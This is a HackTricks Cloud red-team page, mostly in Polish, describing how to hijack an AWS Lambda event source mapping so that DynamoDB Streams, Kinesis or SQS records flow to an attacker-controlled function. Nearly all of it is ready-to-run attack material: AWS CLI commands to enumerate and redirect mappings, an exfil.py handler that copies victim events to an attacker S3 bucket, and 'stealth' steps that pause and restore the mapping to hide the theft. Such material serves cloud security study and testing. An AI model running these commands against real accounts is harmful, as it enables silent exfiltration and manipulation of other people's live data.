AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Wykorzystaj UpdateEventSourceMapping, aby zmienić docelową funkcję Lambda istniejącego Event Source Mapping (ESM), tak aby rekordy z DynamoDB Streams, Kinesis lub SQS były dostarczane do funkcji kontrolowanej przez atakującego. To ciche przekierowanie danych na żywo bez modyfikowania producentów ani oryginalnego kodu funkcji.
Impact
- Przekieruj i odczytuj rekordy na żywo z istniejących streamów/kolejek bez modyfikowania aplikacji producentów ani kodu ofiary.
- Potencjalna eksfiltracja danych lub manipulacja logiką przez przetwarzanie ruchu ofiary w złośliwej funkcji.
Required permissions
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- Możliwość wdrożenia lub odwołania się do Lambdy kontrolowanej przez atakującego (
lambda:CreateFunctionlub uprawnienie do użycia istniejącej).
Steps
- Wyenumeruj event source mappings dla funkcji ofiary
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- Przygotuj funkcję Lambda odbiorczą kontrolowaną przez atakującego (ten sam region; najlepiej podobny VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Przekieruj mapowanie na funkcję atakującego
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Wygeneruj zdarzenie na źródle, aby mapowanie zostało uruchomione (przykład: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- Zweryfikuj, że funkcja atakującego otrzymuje partię
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- Opcjonalny stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Notatki:
- Dla SQS ESMs rola wykonawcza Lambdy przetwarzającej kolejkę wymaga uprawnień
sqs:ReceiveMessage,sqs:DeleteMessageisqs:GetQueueAttributes(zarządzana polityka:AWSLambdaSQSQueueExecutionRole). - UUID ESM pozostaje niezmieniony; zmieniany jest tylko jego
FunctionArn, więc producenci i source ARNs pozostają bez zmian.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

